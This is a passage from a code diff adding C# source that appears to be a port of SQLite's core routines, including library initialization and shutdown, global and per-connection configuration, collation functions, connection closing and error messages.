a call to sqlite3_shutdown. + ** + ** The first thread to call this routine runs the initialization to + ** completion. If subsequent threads call this routine before the first + ** thread has finished the initialization process, then the subsequent + ** threads must block until the first thread finishes with the initialization. + ** + ** The first thread might call this routine recursively. Recursive + ** calls to this routine should not block, of course. Otherwise the + ** initialization process would never complete. + ** + ** Let X be the first thread to enter this routine. Let Y be some other + ** thread. Then while the initial invocation of this routine by X is + ** incomplete, it is required that: + ** + ** * Calls to this routine from Y must block until the outer-most + ** call by X completes. + ** + ** * Recursive calls to this routine from thread X return immediately + ** without blocking. + */ + static int sqlite3_initialize() + { + //-------------------------------------------------------------------- + // Under C#, Need to initialize some static variables + // + if ( sqlite3_version == null ) + sqlite3_version = SQLITE_VERSION; + if ( sqlite3OpcodeProperty == null ) + sqlite3OpcodeProperty = OPFLG_INITIALIZER; + if ( sqlite3GlobalConfig == null ) + sqlite3GlobalConfig = sqlite3Config; + //-------------------------------------------------------------------- + + + sqlite3_mutex pMaster; /* The main static mutex */ + int rc; /* Result code */ + +#if SQLITE_OMIT_WSD +rc = sqlite3_wsd_init(4096, 24); +if( rc!=SQLITE_OK ){ +return rc; +} +#endif + /* If SQLite is already completely initialized, then this call +** to sqlite3_initialize() should be a no-op. But the initialization +** must be complete. So isInit must not be set until the very end +** of this routine. +*/ + if ( sqlite3GlobalConfig.isInit != 0 ) + return SQLITE_OK; + + /* Make sure the mutex subsystem is initialized. If unable to + ** initialize the mutex subsystem, return early with the error. + ** If the system is so sick that we are unable to allocate a mutex, + ** there is not much SQLite is going to be able to do. + ** + ** The mutex subsystem must take care of serializing its own + ** initialization. + */ + rc = sqlite3MutexInit(); + if ( rc != 0 ) + return rc; + + /* Initialize the malloc() system and the recursive pInitMutex mutex. + ** This operation is protected by the STATIC_MASTER mutex. Note that + ** MutexAlloc() is called for a static mutex prior to initializing the + ** malloc subsystem - this implies that the allocation of a static + ** mutex must not require support from the malloc subsystem. + */ + pMaster = sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_MASTER ); + //sqlite3_mutex_enter( pMaster ); + lock ( pMaster ) + { + sqlite3GlobalConfig.isMutexInit = 1; + if ( sqlite3GlobalConfig.isMallocInit == 0 ) + { + rc = sqlite3MallocInit(); + } + if ( rc == SQLITE_OK ) + { + sqlite3GlobalConfig.isMallocInit = 1; + if ( sqlite3GlobalConfig.pInitMutex == null ) + { + sqlite3GlobalConfig.pInitMutex = + sqlite3MutexAlloc( SQLITE_MUTEX_RECURSIVE ); + if ( sqlite3GlobalConfig.bCoreMutex && sqlite3GlobalConfig.pInitMutex == null ) + { + rc = SQLITE_NOMEM; + } + } + } + if ( rc == SQLITE_OK ) + { + sqlite3GlobalConfig.nRefInitMutex++; + } + } + //sqlite3_mutex_leave( pMaster ); + + /* If rc is not SQLITE_OK at this point, then either the malloc + ** subsystem could not be initialized or the system failed to allocate + ** the pInitMutex mutex. Return an error in either case. */ + if ( rc != SQLITE_OK ) + { + return rc; + } + + /* Do the rest of the initialization under the recursive mutex so + ** that we will be able to handle recursive calls into + ** sqlite3_initialize(). The recursive calls normally come through + ** sqlite3_os_init() when it invokes sqlite3_vfs_register(), but other + ** recursive calls might also be possible. + ** + ** IMPLEMENTATION-OF: R-00140-37445 SQLite automatically serializes calls + ** to the xInit method, so the xInit method need not be threadsafe. + ** + ** The following mutex is what serializes access to the appdef pcache xInit + ** methods. The sqlite3_pcache_methods.xInit() all is embedded in the + ** call to sqlite3PcacheInitialize(). + */ + //sqlite3_mutex_enter( sqlite3GlobalConfig.pInitMutex ); + lock ( sqlite3GlobalConfig.pInitMutex ) + { + if ( sqlite3GlobalConfig.isInit == 0 && sqlite3GlobalConfig.inProgress == 0 ) + { + sqlite3GlobalConfig.inProgress = 1; +#if SQLITE_OMIT_WSD +FuncDefHash *pHash = GLOBAL(FuncDefHash, sqlite3GlobalFunctions); +memset( pHash, 0, sizeof( sqlite3GlobalFunctions ) ); +#else + sqlite3GlobalFunctions = new FuncDefHash(); + FuncDefHash pHash = sqlite3GlobalFunctions; +#endif + sqlite3RegisterGlobalFunctions(); + if ( sqlite3GlobalConfig.isPCacheInit == 0 ) + { + rc = sqlite3PcacheInitialize(); + } + if ( rc == SQLITE_OK ) + { + sqlite3GlobalConfig.isPCacheInit = 1; + rc = sqlite3_os_init(); + } + if ( rc == SQLITE_OK ) + { + sqlite3PCacheBufferSetup( sqlite3GlobalConfig.pPage, + sqlite3GlobalConfig.szPage, sqlite3GlobalConfig.nPage ); + sqlite3GlobalConfig.isInit = 1; + } + sqlite3GlobalConfig.inProgress = 0; + } + } + //sqlite3_mutex_leave( sqlite3GlobalConfig.pInitMutex ); + + /* Go back under the static mutex and clean up the recursive + ** mutex to prevent a resource leak. + */ + //sqlite3_mutex_enter( pMaster ); + lock ( pMaster ) + { + sqlite3GlobalConfig.nRefInitMutex--; + if ( sqlite3GlobalConfig.nRefInitMutex <= 0 ) + { + Debug.Assert( sqlite3GlobalConfig.nRefInitMutex == 0 ); + //sqlite3_mutex_free( ref sqlite3GlobalConfig.pInitMutex ); + sqlite3GlobalConfig.pInitMutex = null; + } + } + //sqlite3_mutex_leave( pMaster ); + + /* The following is just a sanity check to make sure SQLite has + ** been compiled correctly. It is important to run this code, but + ** we don't want to run it too often and soak up CPU cycles for no + ** reason. So we run it once during initialization. + */ +#if !NDEBUG +#if !SQLITE_OMIT_FLOATING_POINT + /* This section of code's only "output" is via Debug.Assert() statements. */ + if ( rc == SQLITE_OK ) + { + //u64 x = ( ( (u64)1 ) << 63 ) - 1; + //double y; + //Debug.Assert( sizeof( u64 ) == 8 ); + //Debug.Assert( sizeof( u64 ) == sizeof( double ) ); + //memcpy( &y, x, 8 ); + //Debug.Assert( sqlite3IsNaN( y ) ); + } +#endif +#endif + + return rc; + } + + /* + ** Undo the effects of sqlite3_initialize(). Must not be called while + ** there are outstanding database connections or memory allocations or + ** while any part of SQLite is otherwise in use in any thread. This + ** routine is not threadsafe. But it is safe to invoke this routine + ** on when SQLite is already shut down. If SQLite is already shut down + ** when this routine is invoked, then this routine is a harmless no-op. + */ + public static int sqlite3_shutdown() + { + if ( sqlite3GlobalConfig.isInit != 0 ) + { + sqlite3_os_end(); + sqlite3_reset_auto_extension(); + sqlite3GlobalConfig.isInit = 0; + } + if ( sqlite3GlobalConfig.isPCacheInit != 0 ) + { + sqlite3PcacheShutdown(); + sqlite3GlobalConfig.isPCacheInit = 0; + } + if ( sqlite3GlobalConfig.isMallocInit != 0 ) + { + sqlite3MallocEnd(); + sqlite3GlobalConfig.isMallocInit = 0; + } + if ( sqlite3GlobalConfig.isMutexInit != 0 ) + { + sqlite3MutexEnd(); + sqlite3GlobalConfig.isMutexInit = 0; + } + return SQLITE_OK; + } + + /* + ** This API allows applications to modify the global configuration of + ** the SQLite library at run-time. + ** + ** This routine should only be called when there are no outstanding + ** database connections or memory allocations. This routine is not + ** threadsafe. Failure to heed these warnings can lead to unpredictable + ** behavior. + */ + // Overloads for ap assignments + static int sqlite3_config( int op, sqlite3_pcache_methods ap ) + { // va_list ap; + int rc = SQLITE_OK; + switch ( op ) + { + case SQLITE_CONFIG_PCACHE: + { + /* Specify an alternative malloc implementation */ + sqlite3GlobalConfig.pcache = ap; //sqlite3GlobalConfig.pcache = (sqlite3_pcache_methods)va_arg(ap, "sqlite3_pcache_methods"); + break; + } + } + return rc; + } + + static int sqlite3_config( int op, ref sqlite3_pcache_methods ap ) + { // va_list ap; + int rc = SQLITE_OK; + switch ( op ) + { + case SQLITE_CONFIG_GETPCACHE: + { + if ( sqlite3GlobalConfig.pcache.xInit == null ) + { + sqlite3PCacheSetDefault(); + } + ap = sqlite3GlobalConfig.pcache;//va_arg(ap, sqlite3_pcache_methods) = sqlite3GlobalConfig.pcache; + break; + } + } + return rc; + } + + static int sqlite3_config( int op, sqlite3_mem_methods ap ) + { // va_list ap; + int rc = SQLITE_OK; + switch ( op ) + { + case SQLITE_CONFIG_MALLOC: + { + /* Specify an alternative malloc implementation */ + sqlite3GlobalConfig.m = ap;// (sqlite3_mem_methods)va_arg( ap, "sqlite3_mem_methods" ); + break; + } + } + return rc; + } + + static int sqlite3_config( int op, ref sqlite3_mem_methods ap ) + { // va_list ap; + int rc = SQLITE_OK; + switch ( op ) + { + case SQLITE_CONFIG_GETMALLOC: + { + /* Retrieve the current malloc() implementation */ + //if ( sqlite3GlobalConfig.m.xMalloc == null ) sqlite3MemSetDefault(); + ap = sqlite3GlobalConfig.m;//va_arg(ap, sqlite3_mem_methods) = sqlite3GlobalConfig.m; + break; + } + } + return rc; + } + +#if SQLITE_THREADSAFE // && SQLITE_THREADSAFE>0 + static int sqlite3_config( int op, sqlite3_mutex_methods ap ) + { + // va_list ap; + int rc = SQLITE_OK; + switch ( op ) + { + case SQLITE_CONFIG_MUTEX: + { + /* Specify an alternative mutex implementation */ + sqlite3GlobalConfig.mutex = ap;// (sqlite3_mutex_methods)va_arg( ap, "sqlite3_mutex_methods" ); + break; + } + } + return rc; + } + + static int sqlite3_config( int op, ref sqlite3_mutex_methods ap ) + { + // va_list ap; + int rc = SQLITE_OK; + switch ( op ) + { + case SQLITE_CONFIG_GETMUTEX: + { + /* Retrieve the current mutex implementation */ + ap = sqlite3GlobalConfig.mutex;// *va_arg(ap, sqlite3_mutex_methods) = sqlite3GlobalConfig.mutex; + break; + } + } + return rc; + } +#endif + + static int sqlite3_config( int op, params object[] ap ) + { + // va_list ap; + int rc = SQLITE_OK; + + /* sqlite3_config() shall return SQLITE_MISUSE if it is invoked while + ** the SQLite library is in use. */ + if ( sqlite3GlobalConfig.isInit != 0 ) + return SQLITE_MISUSE_BKPT(); + + lock ( lock_va_list ) + { + va_start( ap, null ); + switch ( op ) + { + + /* Mutex configuration options are only available in a threadsafe + ** compile. + */ +#if SQLITE_THREADSAFE + case SQLITE_CONFIG_SINGLETHREAD: + { + /* Disable all mutexing */ + sqlite3GlobalConfig.bCoreMutex = false; + sqlite3GlobalConfig.bFullMutex = false; + break; + } + case SQLITE_CONFIG_MULTITHREAD: + { + /* Disable mutexing of database connections */ + /* Enable mutexing of core data structures */ + sqlite3GlobalConfig.bCoreMutex = true; + sqlite3GlobalConfig.bFullMutex = false; + break; + } + case SQLITE_CONFIG_SERIALIZED: + { + /* Enable all mutexing */ + sqlite3GlobalConfig.bCoreMutex = true; + sqlite3GlobalConfig.bFullMutex = true; + break; + } + case SQLITE_CONFIG_MUTEX: + { + /* Specify an alternative mutex implementation */ + sqlite3GlobalConfig.mutex = va_arg( ap, (sqlite3_mutex_methods)null ); + break; + } + case SQLITE_CONFIG_GETMUTEX: + { + /* Retrieve the current mutex implementation */ + Debugger.Break(); // TODO -- *va_arg(ap, sqlite3_mutex_methods) = sqlite3GlobalConfig.mutex; + break; + } +#endif + case SQLITE_CONFIG_MALLOC: + { + Debugger.Break(); // TODO -- + /* Specify an alternative malloc implementation */ + sqlite3GlobalConfig.m = va_arg( ap, (sqlite3_mem_methods)null ); + break; + } + case SQLITE_CONFIG_GETMALLOC: + { + /* Retrieve the current malloc() implementation */ + //if ( sqlite3GlobalConfig.m.xMalloc == null ) sqlite3MemSetDefault(); + //Debugger.Break(); // TODO --//va_arg(ap, sqlite3_mem_methods) = sqlite3GlobalConfig.m; + break; + } + case SQLITE_CONFIG_MEMSTATUS: + { + /* Enable or disable the malloc status collection */ + sqlite3GlobalConfig.bMemstat = va_arg( ap, ( Int32 ) 0 ) != 0; + break; + } + case SQLITE_CONFIG_SCRATCH: + { + /* Designate a buffer for scratch memory space */ + sqlite3GlobalConfig.pScratch = va_arg( ap, (Byte[][])null ); + sqlite3GlobalConfig.szScratch = va_arg( ap, (Int32)0 ); + sqlite3GlobalConfig.nScratch = va_arg( ap, ( Int32 ) 0 ); + break; + } + + case SQLITE_CONFIG_PAGECACHE: + { + /* Designate a buffer for page cache memory space */ + sqlite3GlobalConfig.pPage = va_arg( ap, (MemPage) null ); + sqlite3GlobalConfig.szPage = va_arg( ap, ( Int32 ) 0 ); + sqlite3GlobalConfig.nPage = va_arg( ap, ( Int32 ) 0 ); + break; + } + + case SQLITE_CONFIG_PCACHE: + { + /* Specify an alternative page cache implementation */ + Debugger.Break(); // TODO --sqlite3GlobalConfig.pcache = (sqlite3_pcache_methods)va_arg(ap, "sqlite3_pcache_methods"); + break; + } + + case SQLITE_CONFIG_GETPCACHE: + { + if ( sqlite3GlobalConfig.pcache.xInit == null ) + { + sqlite3PCacheSetDefault(); + } + Debugger.Break(); // TODO -- *va_arg(ap, sqlite3_pcache_methods) = sqlite3GlobalConfig.pcache; + break; + } + +#if SQLITE_ENABLE_MEMSYS3 || SQLITE_ENABLE_MEMSYS5 +case SQLITE_CONFIG_HEAP: { +/* Designate a buffer for heap memory space */ +sqlite3GlobalConfig.pHeap = va_arg(ap, void); +sqlite3GlobalConfig.nHeap = va_arg(ap, int); +sqlite3GlobalConfig.mnReq = va_arg(ap, int); + +if( sqlite3GlobalConfig.mnReq<1 ){ + sqlite3GlobalConfig.mnReq = 1; +}else if( sqlite3GlobalConfig.mnReq>(1<<12) ){ + /* cap min request size at 2^12 */ + sqlite3GlobalConfig.mnReq = (1<<12); +} + +if( sqlite3GlobalConfig.pHeap==0 ){ +/* If the heap pointer is NULL, then restore the malloc implementation +** back to NULL pointers too. This will cause the malloc to go +** back to its default implementation when sqlite3_initialize() is +** run. +*/ +memset(& sqlite3GlobalConfig.m, 0, sizeof( sqlite3GlobalConfig.m)); +}else{ +/* The heap pointer is not NULL, then install one of the +** mem5.c/mem3.c methods. If neither ENABLE_MEMSYS3 nor +** ENABLE_MEMSYS5 is defined, return an error. +*/ +#if SQLITE_ENABLE_MEMSYS3 +sqlite3GlobalConfig.m = *sqlite3MemGetMemsys3(); +#endif +#if SQLITE_ENABLE_MEMSYS5 +sqlite3GlobalConfig.m = *sqlite3MemGetMemsys5(); +#endif +} +break; +} +#endif + + case SQLITE_CONFIG_LOOKASIDE: + { + sqlite3GlobalConfig.szLookaside = va_arg( ap, ( Int32 ) 0 ); + sqlite3GlobalConfig.nLookaside = va_arg( ap, ( Int32 ) 0 ); + break; + } + + /* Record a pointer to the logger funcction and its first argument. + ** The default is NULL. Logging is disabled if the function pointer is + ** NULL. + */ + case SQLITE_CONFIG_LOG: + { + /* MSVC is picky about pulling func ptrs from va lists. + ** http://support.microsoft.com/kb/47961 + ** sqlite3GlobalConfig.xLog = va_arg(ap, void()(void*,int,const char)); + */ + //typedef void(*LOGFUNC_t)(void*,int,const char); + sqlite3GlobalConfig.xLog = va_arg( ap, (dxLog)null );//"LOGFUNC_t" ); + sqlite3GlobalConfig.pLogArg = va_arg( ap, (Object)null ); + break; + } + case SQLITE_CONFIG_URI: { + sqlite3GlobalConfig.bOpenUri = va_arg( ap, (Boolean)true ); + break; + } + default: + { + rc = SQLITE_ERROR; + break; + } + } + va_end( ref ap ); + } + return rc; + } + + /* + ** Set up the lookaside buffers for a database connection. + ** Return SQLITE_OK on success. + ** If lookaside is already active, return SQLITE_BUSY. + ** + ** The sz parameter is the number of bytes in each lookaside slot. + ** The cnt parameter is the number of slots. If pStart is NULL the + ** space for the lookaside memory is obtained from sqlite3_malloc(). + ** If pStart is not NULL then it is sz*cnt bytes of memory to use for + ** the lookaside memory. + */ + static int setupLookaside( sqlite3 db, byte[] pBuf, int sz, int cnt ) + { + //void* pStart; + //if ( db.lookaside.nOut ) + //{ + // return SQLITE_BUSY; + //} + ///* Free any existing lookaside buffer for this handle before + //** allocating a new one so we don't have to have space for + //** both at the same time. + //*/ + //if ( db.lookaside.bMalloced ) + //{ + // //sqlite3_free( db.lookaside.pStart ); + //} + ///* The size of a lookaside slot needs to be larger than a pointer + //** to be useful. + //*/ + //if ( sz <= (int)sizeof( LookasideSlot* ) ) sz = 0; + //if ( cnt < 0 ) cnt = 0; + //if ( sz == 0 || cnt == 0 ) + //{ + // sz = 0; + // pStart = 0; + //} + //else if ( pBuf == 0 ) + //{ + // sz = ROUNDDOWN8(sz); /* IMP: R-33038-09382 */ + // sqlite3BeginBenignMalloc(); + // pStart = sqlite3Malloc( sz*cnt ); /* IMP: R-61949-35727 */ + // sqlite3EndBenignMalloc(); + //}else{ + // sz = ROUNDDOWN8(sz); /* IMP: R-33038-09382 */ + // pStart = pBuf; + //} + //db.lookaside.pStart = pStart; + //db.lookaside.pFree = 0; + //db.lookaside.sz = (u16)sz; + //if ( pStart ) + //{ + // int i; + // LookasideSlot* p; + // Debug.Assert( sz > sizeof( LookasideSlot* ) ); + // p = (LookasideSlot)pStart; + // for ( i = cnt - 1 ; i >= 0 ; i-- ) + // { + // p.pNext = db.lookaside.pFree; + // db.lookaside.pFree = p; + // p = (LookasideSlot)&( (u8)p )[sz]; + // } + // db.lookaside.pEnd = p; + // db.lookaside.bEnabled = 1; + // db.lookaside.bMalloced = pBuf == 0 ? 1 : 0; + //} + //else + //{ + // db.lookaside.pEnd = 0; + // db.lookaside.bEnabled = 0; + // db.lookaside.bMalloced = 0; + //} + return SQLITE_OK; + } + + /* + ** Return the mutex associated with a database connection. + */ + static sqlite3_mutex sqlite3_db_mutex( sqlite3 db ) + { + return db.mutex; + } + + public class _aFlagOp + { + public int op; /* The opcode */ + public u32 mask; /* Mask of the bit in sqlite3.flags to set/clear */ + + public _aFlagOp( int op, u32 mask ) + { + this.op = op; + this.mask = mask; + } + } + + /* + ** Configuration settings for an individual database connection + */ + static int sqlite3_db_config( sqlite3 db, int op, params object[] ap ) + { + int rc; + //va_list ap; + lock ( lock_va_list ) + { + va_start( ap, "" ); + switch ( op ) + { + case SQLITE_DBCONFIG_LOOKASIDE: + { + byte[] pBuf = va_arg( ap, (byte[])null ); /* IMP: R-26835-10964 */ + int sz = va_arg( ap, (Int32)0 ); /* IMP: R-47871-25994 */ + int cnt = va_arg( ap, ( Int32 ) 0 ); /* IMP: R-04460-53386 */ + rc = setupLookaside( db, pBuf, sz, cnt ); + break; + } + default: + { + _aFlagOp[] aFlagOp = new _aFlagOp[]{ + new _aFlagOp( SQLITE_DBCONFIG_ENABLE_FKEY, SQLITE_ForeignKeys ), + new _aFlagOp( SQLITE_DBCONFIG_ENABLE_TRIGGER, SQLITE_EnableTrigger ), + }; + uint i; + + rc = SQLITE_ERROR; /* IMP: R-42790-23372 */ + for ( i = 0; i < ArraySize( aFlagOp ); i++ ) + { + if ( aFlagOp[i].op == op ) + { + int onoff = va_arg( ap, ( Int32 ) 0 ); + int pRes = va_arg( ap, (Int32)0 ); + int oldFlags = db.flags; + if ( onoff > 0 ) + { + db.flags = (int)( (u32)db.flags | aFlagOp[i].mask ); + } + else if ( onoff == 0 ) + { + db.flags = (int)( db.flags & ~aFlagOp[i].mask ); + } + if ( oldFlags != db.flags ) + { + sqlite3ExpirePreparedStatements( db ); + } + if ( pRes != 0 ) + { + pRes = ( db.flags & aFlagOp[i].mask ) != 0 ? 1 : 0; + } + rc = SQLITE_OK; + break; + } + } + break; + } + } + va_end( ref ap ); + } + return rc; + } + + + /* + ** Return true if the buffer z[0..n-1] contains all spaces. + */ + static bool allSpaces( string z, int iStart, int n ) + { + while ( n > 0 && z[iStart + n - 1] == ' ' ) + { + n--; + } + return n == 0; + } + + /* + ** This is the default collating function named "BINARY" which is always + ** available. + ** + ** If the padFlag argument is not NULL then space padding at the end + ** of strings is ignored. This implements the RTRIM collation. + */ + static int binCollFunc( + object padFlag, + int nKey1, string pKey1, + int nKey2, string pKey2 + ) + { + int rc, n; + n = nKey1 < nKey2 ? nKey1 : nKey2; + rc = memcmp( pKey1, pKey2, n ); + if ( rc == 0 ) + { + if ( (int)padFlag != 0 && allSpaces( pKey1, n, nKey1 - n ) && allSpaces( pKey2, n, nKey2 - n ) ) + { + /* Leave rc unchanged at 0 */ + } + else + { + rc = nKey1 - nKey2; + } + } + return rc; + } + + /* + ** Another built-in collating sequence: NOCASE. + ** + ** This collating sequence is intended to be used for "case independant + ** comparison". SQLite's knowledge of upper and lower case equivalents + ** extends only to the 26 characters used in the English language. + ** + ** At the moment there is only a UTF-8 implementation. + */ + static int nocaseCollatingFunc( + object NotUsed, + int nKey1, string pKey1, + int nKey2, string pKey2 + ) + { + int n = ( nKey1 < nKey2 ) ? nKey1 : nKey2; + int r = sqlite3StrNICmp( pKey1, pKey2, ( nKey1 < nKey2 ) ? nKey1 : nKey2 ); + UNUSED_PARAMETER( NotUsed ); + if ( 0 == r ) + { + r = nKey1 - nKey2; + } + return r; + } + + /* + ** Return the ROWID of the most recent insert + */ + static public sqlite_int64 sqlite3_last_insert_rowid( sqlite3 db ) + { + return db.lastRowid; + } + + /* + ** Return the number of changes in the most recent call to sqlite3_exec(). + */ + static public int sqlite3_changes( sqlite3 db ) + { + return db.nChange; + } + + /* + ** Return the number of changes since the database handle was opened. + */ + static public int sqlite3_total_changes( sqlite3 db ) + { + return db.nTotalChange; + } + + /* + ** Close all open savepoints. This function only manipulates fields of the + ** database handle object, it does not close any savepoints that may be open + ** at the b-tree/pager level. + */ + static void sqlite3CloseSavepoints( sqlite3 db ) + { + while ( db.pSavepoint != null ) + { + Savepoint pTmp = db.pSavepoint; + db.pSavepoint = pTmp.pNext; + sqlite3DbFree( db, ref pTmp ); + } + db.nSavepoint = 0; + db.nStatement = 0; + db.isTransactionSavepoint = 0; + } + + /* + ** Invoke the destructor function associated with FuncDef p, if any. Except, + ** if this is not the last copy of the function, do not invoke it. Multiple + ** copies of a single function are created when create_function() is called + ** with SQLITE_ANY as the encoding. + */ + static void functionDestroy( sqlite3 db, FuncDef p ) + { + FuncDestructor pDestructor = p.pDestructor; + if ( pDestructor != null ) + { + pDestructor.nRef--; + if ( pDestructor.nRef == 0 ) + { + //pDestructor.xDestroy( pDestructor.pUserData ); + sqlite3DbFree( db, ref pDestructor ); + } + } + } + + /* + ** Close an existing SQLite database + */ + public static int sqlite3_close( sqlite3 db ) + { + HashElem i; /* Hash table iterator */ + int j; + + if ( db == null ) + { + return SQLITE_OK; + } + if ( !sqlite3SafetyCheckSickOrOk( db ) ) + { + return SQLITE_MISUSE_BKPT(); + } + sqlite3_mutex_enter( db.mutex ); + + /* Force xDestroy calls on all virtual tables */ + sqlite3ResetInternalSchema( db, -1 ); + + /* If a transaction is open, the ResetInternalSchema() call above + ** will not have called the xDisconnect() method on any virtual + ** tables in the db->aVTrans[] array. The following sqlite3VtabRollback() + ** call will do so. We need to do this before the check for active + ** SQL statements below, as the v-table implementation may be storing + ** some prepared statements internally. + */ + sqlite3VtabRollback( db ); + + /* If there are any outstanding VMs, return SQLITE_BUSY. */ + + if ( db.pVdbe != null ) + { + sqlite3Error( db, SQLITE_BUSY, + "unable to close due to unfinalised statements" ); + sqlite3_mutex_leave( db.mutex ); + return SQLITE_BUSY; + } + Debug.Assert( sqlite3SafetyCheckSickOrOk( db ) ); + + for ( j = 0; j < db.nDb; j++ ) + { + Btree pBt = db.aDb[j].pBt; + if ( pBt != null && sqlite3BtreeIsInBackup( pBt ) ) + { + sqlite3Error( db, SQLITE_BUSY, + "unable to close due to unfinished backup operation" ); + sqlite3_mutex_leave( db.mutex ); + return SQLITE_BUSY; + } + } + + /* Free any outstanding Savepoint structures. */ + sqlite3CloseSavepoints( db ); + + for ( j = 0; j < db.nDb; j++ ) + { + Db pDb = db.aDb[j]; + if ( pDb.pBt != null ) + { + sqlite3BtreeClose( ref pDb.pBt ); + pDb.pBt = null; + if ( j != 1 ) + { + pDb.pSchema = null; + } + } + } + sqlite3ResetInternalSchema( db, -1 ); + + /* Tell the code in notify.c that the connection no longer holds any + ** locks and does not require any further unlock-notify callbacks. + */ + sqlite3ConnectionClosed( db ); + + Debug.Assert( db.nDb <= 2 ); + Debug.Assert( db.aDb[0].Equals( db.aDbStatic[0] ) ); + for ( j = 0; j < ArraySize( db.aFunc.a ); j++ ) + { + FuncDef pNext, pHash, p; + for ( p = db.aFunc.a[j]; p != null; p = pHash ) + { + pHash = p.pHash; + while ( p != null ) + { + functionDestroy( db, p ); + pNext = p.pNext; + sqlite3DbFree( db, ref p ); + p = pNext; + } + + } + } + + for ( i = db.aCollSeq.first; i != null; i = i.next ) + {//sqliteHashFirst(db.aCollSeq); i!=null; i=sqliteHashNext(i)){ + CollSeq[] pColl = (CollSeq[])i.data;// sqliteHashData(i); + /* Invoke any destructors registered for collation sequence user data. */ + for ( j = 0; j < 3; j++ ) + { + if ( pColl[j].xDel != null ) + { + pColl[j].xDel( ref pColl[j].pUser ); + } + } + sqlite3DbFree( db, ref pColl ); + } + sqlite3HashClear( db.aCollSeq ); +#if !SQLITE_OMIT_VIRTUALTABLE + for ( i = sqliteHashFirst( db.aModule ); i != null; i = sqliteHashNext( i ) ) + { + Module pMod = (Module)sqliteHashData( i ); + if ( pMod.xDestroy != null ) + { + pMod.xDestroy( ref pMod.pAux ); + } + sqlite3DbFree( db, ref pMod ); + } + sqlite3HashClear( db.aModule ); +#endif + + sqlite3Error( db, SQLITE_OK, 0 ); /* Deallocates any cached error strings. */ + if ( db.pErr != null ) + { + sqlite3ValueFree( ref db.pErr ); + } +#if !SQLITE_OMIT_LOAD_EXTENSION + sqlite3CloseExtensions( db ); +#endif + + db.magic = SQLITE_MAGIC_ERROR; + + /* The temp.database schema is allocated differently from the other schema + ** objects (using sqliteMalloc() directly, instead of sqlite3BtreeSchema()). + ** So it needs to be freed here. Todo: Why not roll the temp schema into + ** the same sqliteMalloc() as the one that allocates the database + ** structure? + */ + sqlite3DbFree( db, ref db.aDb[1].pSchema ); + sqlite3_mutex_leave( db.mutex ); + db.magic = SQLITE_MAGIC_CLOSED; + sqlite3_mutex_free( db.mutex ); + Debug.Assert( db.lookaside.nOut == 0 ); /* Fails on a lookaside memory leak */ + //if ( db.lookaside.bMalloced ) + //{ + // sqlite3_free( ref db.lookaside.pStart ); + //} + //sqlite3_free( ref db ); + return SQLITE_OK; + } + + /* + ** Rollback all database files. + */ + static void sqlite3RollbackAll( sqlite3 db ) + { + int i; + int inTrans = 0; + Debug.Assert( sqlite3_mutex_held( db.mutex ) ); + sqlite3BeginBenignMalloc(); + for ( i = 0; i < db.nDb; i++ ) + { + if ( db.aDb[i].pBt != null ) + { + if ( sqlite3BtreeIsInTrans( db.aDb[i].pBt ) ) + { + inTrans = 1; + } + sqlite3BtreeRollback( db.aDb[i].pBt ); + db.aDb[i].inTrans = 0; + } + } + + sqlite3VtabRollback( db ); + sqlite3EndBenignMalloc(); + if ( ( db.flags & SQLITE_InternChanges ) != 0 ) + { + sqlite3ExpirePreparedStatements( db ); + sqlite3ResetInternalSchema( db, -1 ); + } + + /* Any deferred constraint violations have now been resolved. */ + db.nDeferredCons = 0; + + /* If one has been configured, invoke the rollback-hook callback */ + if ( db.xRollbackCallback != null && ( inTrans != 0 || 0 == db.autoCommit ) ) + { + db.xRollbackCallback( db.pRollbackArg ); + } + } + + /* + ** Return a static string that describes the kind of error specified in the + ** argument. + */ + static string sqlite3ErrStr( int rc ) + { + string[] aMsg = new string[]{ +/* SQLITE_OK */ "not an error", +/* SQLITE_ERROR */ "SQL logic error or missing database", +/* SQLITE_INTERNAL */ "", +/* SQLITE_PERM */ "access permission denied", +/* SQLITE_ABORT */ "callback requested query abort", +/* SQLITE_BUSY */ "database is locked", +/* SQLITE_LOCKED */ "database table is locked", +/* SQLITE_NOMEM */ "out of memory", +/* SQLITE_READONLY */ "attempt to write a readonly database", +/* SQLITE_INTERRUPT */ "interrupted", +/* SQLITE_IOERR */ "disk I/O error", +/* SQLITE_CORRUPT */ "database disk image is malformed", +/* SQLITE_NOTFOUND */ "unknown operation", +/* SQLITE_FULL */ "database or disk is full", +/* SQLITE_CANTOPEN */ "unable to open database file", +/* SQLITE_PROTOCOL */ "locking protocol", +/* SQLITE_EMPTY */ "table contains no data", +/* SQLITE_SCHEMA */ "database schema has changed", +/* SQLITE_TOOBIG */ "string or blob too big", +/* SQLITE_CONSTRAINT */ "constraint failed", +/* SQLITE_MISMATCH */ "datatype mismatch", +/* SQLITE_MISUSE */ "library routine called out of sequence", +/* SQLITE_NOLFS */ "large file support is disabled", +/* SQLITE_AUTH */ "authorization denied", +/* SQLITE_FORMAT */ "auxiliary database format error", +/* SQLITE_RANGE */ "bind or column index out of range", +/* SQLITE_NOTADB */ "file is encrypted or is not a database", +}; + rc &= 0xff; + if ( ALWAYS( rc >= 0 ) && rc < aMsg.Length && aMsg[rc] != "" )//(int)(sizeof(aMsg)/sizeof(aMsg[0])) + { + return aMsg[rc]; + } + else + { + return "unknown error"; + } + } + + /* + ** This routine implements a busy callback that sleeps and tries + ** again until a timeout value is reached. The timeout value is + ** an integer number of milliseconds passed in as the first + ** argument. + */ + static int sqliteDefaultBusyCallback( + object ptr, /* Database connection */ + int count /* Number of times table has been busy */ + ) + { +#if SQLITE_OS_WIN || HAVE_USLEEP + u8[] delays = new u8[] { 1, 2, 5, 10, 15, 20, 25, 25, 25, 50, 50, 100 }; + u8[] totals = new u8[] { 0, 1, 3, 8, 18, 33, 53, 78, 103, 128, 178, 228 }; + //# define NDELAY ArraySize(delays) + int NDELAY = ArraySize( delays ); + sqlite3 db = (sqlite3)ptr; + int timeout = db.busyTimeout; + int delay, prior; + + Debug.Assert( count >= 0 ); + if ( count < NDELAY ) + { + delay = delays[count]; + prior = totals[count]; + } + else + { + delay = delays[NDELAY - 1]; + prior = totals[NDELAY - 1] + delay * ( count - ( NDELAY - 1 ) ); + } + if ( prior + delay > timeout ) + { + delay = timeout - prior; + if ( delay <= 0 ) + return 0; + } + sqlite3OsSleep( db.pVfs, delay * 1000 ); + return 1; +#else +sqlite3 db = (sqlite3)ptr; +int timeout = ( (sqlite3)ptr ).busyTimeout; +if ( ( count + 1 ) * 1000 > timeout ) +{ +return 0; +} +sqlite3OsSleep( db.pVfs, 1000000 ); +return 